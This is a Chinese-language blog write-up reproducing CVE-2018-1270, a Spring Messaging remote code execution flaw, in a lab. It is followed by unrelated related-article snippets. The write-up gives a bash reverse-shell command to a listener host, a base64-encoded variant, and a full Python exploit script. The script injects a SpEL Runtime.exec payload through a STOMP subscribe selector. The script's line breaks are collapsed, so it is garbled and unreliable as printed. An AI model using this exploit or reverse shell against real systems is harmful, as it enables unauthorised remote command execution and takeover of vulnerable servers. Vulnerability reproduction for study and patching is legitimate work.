Spring Messaging远程命令执行漏洞复现(CVE-2018-1270)

news/2024/10/19 2:17:18/

一、漏洞说明
Spring Messaging为Spring框架提供消息支持,用户使用受影响版本的Spring Framework时,允许应用程序通过Spring Messaging模块内存中STOMP代理创建WebSocket。由于selector用SpEL表达式编写,并使用StandardEvaluationContext解析(权限太大),进而导致远程执行代码攻击。
二、影响版本
Spring Framework 5.0 - 5.0.5
Spring Framework 4.3 - 4.3.15
三、搭建环境
在这里插入图片描述在这里插入图片描述

四、漏洞复现
访问:http://192.168.25.128:8080/gs-guide-websocket
在这里插入图片描述

1.准备shell命令
bash -i >& /dev/tcp/192.168.155.2/1111 0>&1
绕过exec()编码为:
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE1NS4yLzExMTEgMD4mMQ==}|{base64,-d}|{bash,-i}

2.修改exp
exploit.py

#!/usr/bin/env python3
import requests
import random
import string
import time
import threading
import logging
import sys
import jsonlogging.basicConfig(stream=sys.stdout, level=logging.INFO)def random_str(length):letters = string.ascii_lowercase + string.digitsreturn ''.join(random.choice(letters) for c in range(length))class SockJS(threading.Thread):def __init__(self, url, *args, **kwargs):super().__init__(*args, **kwargs)self.base = f'{url}/{random.randint(0, 1000)}/{random_str(8)}'self.daemon = Trueself.session = requests.session()self.session.headers = {'Referer': url,'User-Agent': 'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)'}self.t = int(time.time()*1000)def run(self):url = f'{self.base}/htmlfile?c=_jp.vulhub'response = self.session.get(url, stream=True)for line in response.iter_lines():time.sleep(0.5)def send(self, command, headers, body=''):data = [command.upper(), '\n']data.append('\n'.join([f'{k}:{v}' for k, v in headers.items()]))data.append('\n\n')data.append(body)data.append('\x00')data = json.dumps([''.join(data)])response = self.session.post(f'{self.base}/xhr_send?t={self.t}', data=data)if response.status_code != 204:logging.info(f"send '{command}' data error.")else:logging.info(f"send '{command}' data success.")def __del__(self):self.session.close()sockjs = SockJS('http://192.168.25.128:8080/gs-guide-websocket')
sockjs.start()
time.sleep(1)sockjs.send('connect', {'accept-version': '1.1,1.0','heart-beat': '10000,10000'
})
sockjs.send('subscribe', {'selector': "T(java.lang.Runtime).getRuntime().exec('bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE1NS4yLzExMTEgMD4mMQ==}|{base64,-d}|{bash,-i}')",'id': 'sub-0','destination': '/topic/greetings'
})data = json.dumps({'name': 'vulhub'})
sockjs.send('send', {'content-length': len(data),'destination': '/app/hello'
}, data)

3.nc开启监听
在这里插入图片描述

4.执行exp
在这里插入图片描述

5.反弹shell
在这里插入图片描述


http://www.ppmy.cn/news/1103708.html

相关文章

各种UI库使用总结

各种UI库使用总结 工作了这么年,使用了一些UI库,简单的总结一下,UI库也是五花八门,根据自己的产品,应用场景吧,没有绝对合适的,各有各的应用场景吧! QT 这几年前后在一些嵌入式上…

vue插槽slot

插槽有三种&#xff1a; 目录 1.普通插槽 2.具名插槽 3.作用域插槽 1.普通插槽 sub.vue 子组件 --- 子组件写slot标签&#xff0c;父组件的Sub标签内填写的内容会显示在slot的位置&#xff0c;父组件如果不写内容就会展示默认内容。 <template><div class"…

GO语言实战之接口实现与方法集

写在前面 嗯&#xff0c;学习GO&#xff0c;所以有了这篇文章博文内容为《GO语言实战》读书笔记之一主要涉及知识 接口是什么方法集(值接收和指针接收)多态 傍晚时分&#xff0c;你坐在屋檐下&#xff0c;看着天慢慢地黑下去&#xff0c;心里寂寞而凄凉&#xff0c;感到自己的…

Spring Boot整合Spring Data Jpa + QueryDSL

简介 Spring Data JPA是一个Spring项目中常用的持久化框架&#xff0c;它简化了与数据库进行交互的过程。而QueryDSL是一个查询构建框架&#xff0c;可以让我们以面向对象的方式来编写数据库查询。 在本文中&#xff0c;我们将讨论如何使用Spring Boot整合Spring Data JPA和Q…

深度学习常用的Python库(核心库、可视化、NLP、计算机视觉、深度学习等)

&#xff08;1&#xff09;核心库与统计&#xff1a;Numpy、Scipy、Pandas、StatsModels。 &#xff08;2&#xff09;可视化&#xff1a;Matplotlib、Seaborn、Plotly、Bokeh、Pydot、Scikit-learn、XGBoost/LightGBM/CatBoost、Eli5。 &#xff08;3&#xff09;深度学习&a…

第28节-PhotoShop基础课程-图层操作

文章目录 前言1.像素图层2.删除 Delete3.合并 Ctrl E4.盖印 Ctrl Shift Alt5.图层顺序-拖动就可以6.编组-Ctrl G 管理图层-分类存放7.锁定图层-背景图层8.不透明度9.查找图层 2.智能图层1.能保持图片放大缩小&#xff08;Ctrl T&#xff09;的时候不丢失分辨率2.和滤镜配合使…

【IMX6ULL驱动开发学习】24.关于mmap为什么能直接操作LCD显示

记录今天面试中遇到的一个提问&#xff0c;当时没有答上来 感谢面试官&#xff08;弓总&#xff09;的提问&#xff0c;让我认识到了目前的不足&#xff0c;下午又深入的学习了一下&#xff0c;在这里做一下补充 mmap为什么能直接操作LCD显示 首先在内核空间申请一段或多段内存…

常见面试题记录

记录下java的常见面试题 文章目录 记录如下 记录如下 记录如下 hashmap原理lock原理synchronized锁优化过程线程状态以及创建方式线程池&#xff08;执行过程&#xff0c;参数&#xff0c;淘汰策略&#xff09;jvm&#xff08;gc优化和OOM&#xff09;volatile&#xff08;可见…